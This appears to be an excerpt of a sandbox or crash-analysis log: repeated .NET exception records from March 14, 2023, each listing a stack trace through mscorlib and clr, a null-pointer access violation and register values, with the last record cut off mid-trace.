DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 b8 af ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5b79 registers.esp: 146730004 registers.edi: 146730068 registers.eax: 0 registers.ebp: 146730076 registers.edx: 46685180 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5ca5 0x75e396c 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 45 af ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5bec registers.esp: 146725604 registers.edi: 146730068 registers.eax: 0 registers.ebp: 146730076 registers.edx: 46685180 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5cb3 0x75e396c 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 38 b2 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e58f9 registers.esp: 146730004 registers.edi: 146730068 registers.eax: 0 registers.ebp: 146730076 registers.edx: 46679708 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5cb3 0x75e396c 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 c5 b1 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e596c registers.esp: 146725604 registers.edi: 146730068 registers.eax: 0 registers.ebp: 146730076 registers.edx: 46679708 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5edd 0x75e398f 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 38 b2 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e58f9 registers.esp: 146730024 registers.edi: 146730088 registers.eax: 0 registers.ebp: 146730096 registers.edx: 46679708 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5edd 0x75e398f 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 c5 b1 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e596c registers.esp: 146725628 registers.edi: 146730088 registers.eax: 0 registers.ebp: 146730096 registers.edx: 46679708 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac75f8 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 ae 4c 6c 6f eb b3 eb cf 8b cb 8b d6 8b exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x2acbe83 registers.esp: 163766556 registers.edi: 46119980 registers.eax: 46638328 registers.ebp: 163766592 registers.edx: 46638328 registers.ebx: 49066908 registers.esi: 0 registers.ecx: 0	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac75f8 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 4a 4c 6c 6f 8b d0 b9 b0 af 31 72 e8 b6 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x2acbee7 registers.esp: 163762156 registers.edi: 49552468 registers.eax: 46638328 registers.ebp: 163766592 registers.edx: 46638328 registers.ebx: 49066908 registers.esi: 0 registers.ecx: 0	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2acf247 mscorlib+0xd14496 @ 0x72c34496 0x2accac5 0x2acb5e9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d3711 @ 0x721f3711 mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb4dd mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 fa 0e 6c 6f 8b f8 e9 2c fd ff ff 89 7d exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x2acfc27 registers.esp: 87944076 registers.edi: 87944120 registers.eax: 49691632 registers.ebp: 87944136 registers.edx: 49691632 registers.ebx: 3 registers.esi: 0 registers.ecx: 0	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2acf247 mscorlib+0xd14496 @ 0x72c34496 0x2accac5 0x2acb5e9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d3711 @ 0x721f3711 mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb4dd mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 b2 07 e7 69 8b f8 e9 2c fd ff ff 89 7d exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x832036f registers.esp: 87944076 registers.edi: 87944120 registers.eax: 49707552 registers.ebp: 87944136 registers.edx: 49707552 registers.ebx: 5 registers.esi: 0 registers.ecx: 0	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2acf247 mscorlib+0xd14496 @ 0x72c34496 0x2accac5 0x2acb5e9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d3711 @ 0x721f3711 mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb4dd mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 fa fc e6 69 8b f8 e9 2c fd ff ff 89 7d exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8320e27 registers.esp: 87944076 registers.edi: 87944120 registers.eax: 49740452 registers.ebp: 87944136 registers.edx: 49740452 registers.ebx: 9 registers.esi: 0 registers.ecx: 0	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2acf247 mscorlib+0xd14496 @ 0x72c34496 0x2accac5 0x2acb5e9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d3711 @ 0x721f3711 mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb4dd mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb 